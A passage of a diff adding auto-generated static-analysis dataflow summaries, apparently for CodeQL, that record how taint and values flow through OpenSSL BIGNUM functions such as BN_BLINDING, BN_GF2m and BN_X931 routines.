"dfc-generated"] + - ["", "", True, "BIO_vsnprintf", "(char *,size_t,const char *,va_list)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BIO_vsnprintf", "(char *,size_t,const char *,va_list)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "BN_BLINDING_convert", "(BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_convert", "(BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_convert", "(BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_convert_ex", "(BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_convert_ex", "(BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_convert_ex", "(BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_convert_ex", "(BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_create_param", "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_BLINDING_create_param", "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_create_param", "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)", "", "Argument[4]", "Argument[*0].Field[*bn_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_create_param", "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)", "", "Argument[4]", "ReturnValue[*].Field[*bn_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_create_param", "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)", "", "Argument[5]", "Argument[*0].Field[*m_ctx]", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_create_param", "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)", "", "Argument[5]", "ReturnValue[*].Field[*m_ctx]", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_get_flags", "(const BN_BLINDING *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_invert", "(BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_invert", "(BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_invert_ex", "(BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_invert_ex", "(BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_invert_ex", "(BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_invert_ex", "(BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_invert_ex", "(BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_new", "(const BIGNUM *,const BIGNUM *,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_new", "(const BIGNUM *,const BIGNUM *,BIGNUM *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_new", "(const BIGNUM *,const BIGNUM *,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_set_flags", "(BN_BLINDING *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_update", "(BN_BLINDING *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_CTX_get", "(BN_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "BN_CTX_get", "(BN_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BN_CTX_new_ex", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "BN_CTX_new_ex", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "BN_CTX_secure_new_ex", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "BN_CTX_secure_new_ex", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_get_arg", "(BN_GENCB *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "BN_GENCB_get_arg", "(BN_GENCB *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "BN_GENCB_get_arg", "(BN_GENCB *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BN_GENCB_set", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***arg]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**arg]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*cb].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*arg]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set_old", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***arg]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set_old", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**arg]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set_old", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*cb].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set_old", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*arg]", "value", "dfc-generated"] + - ["", "", True, "BN_GF2m_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_arr2poly", "(const int[],BIGNUM *)", "", "Argument[*0]", "Argument[*1].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_arr2poly", "(const int[],BIGNUM *)", "", "Argument[*0]", "Argument[*1].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_arr2poly", "(const int[],BIGNUM *)", "", "Argument[*0]", "Argument[*1].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_arr2poly", "(const int[],BIGNUM *)", "", "Argument[0]", "Argument[*1].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_arr2poly", "(const int[],BIGNUM *)", "", "Argument[0]", "Argument[*1].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_arr2poly", "(const int[],BIGNUM *)", "", "Argument[0]", "Argument[*1].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_arr", "(BIGNUM *,const BIGNUM *,const int[])", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_div", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*3]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*3]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[3]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[3]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_exp_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_inv", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_inv", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_inv_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_inv_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_inv_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_inv_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_inv_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_inv_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_mul_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_mul_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_sqr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_sqr_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_sqrt", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_sqrt_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_poly2arr", "(const BIGNUM *,int[],int)", "", "Argument[*0].Field[*top]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_MONT_CTX_copy", "(BN_MONT_CTX *,BN_MONT_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_MONT_CTX_copy", "(BN_MONT_CTX *,BN_MONT_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_MONT_CTX_set", "(BN_MONT_CTX *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_MONT_CTX_set_locked", "(BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *)", "", "Argument[**0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BN_MONT_CTX_set_locked", "(BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_MONT_CTX_set_locked", "(BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_MONT_CTX_set_locked", "(BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_RECP_CTX_set", "(BN_RECP_CTX *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*6]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_Xpq", "(BIGNUM *,BIGNUM *,int,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_Xpq", "(BIGNUM *,BIGNUM *,int,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_Xpq", "(BIGNUM *,BIGNUM *,int,BN_CTX *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_Xpq", "(BIGNUM *,BIGNUM *,int,BN_CTX *)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*5]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*5]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*5]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX 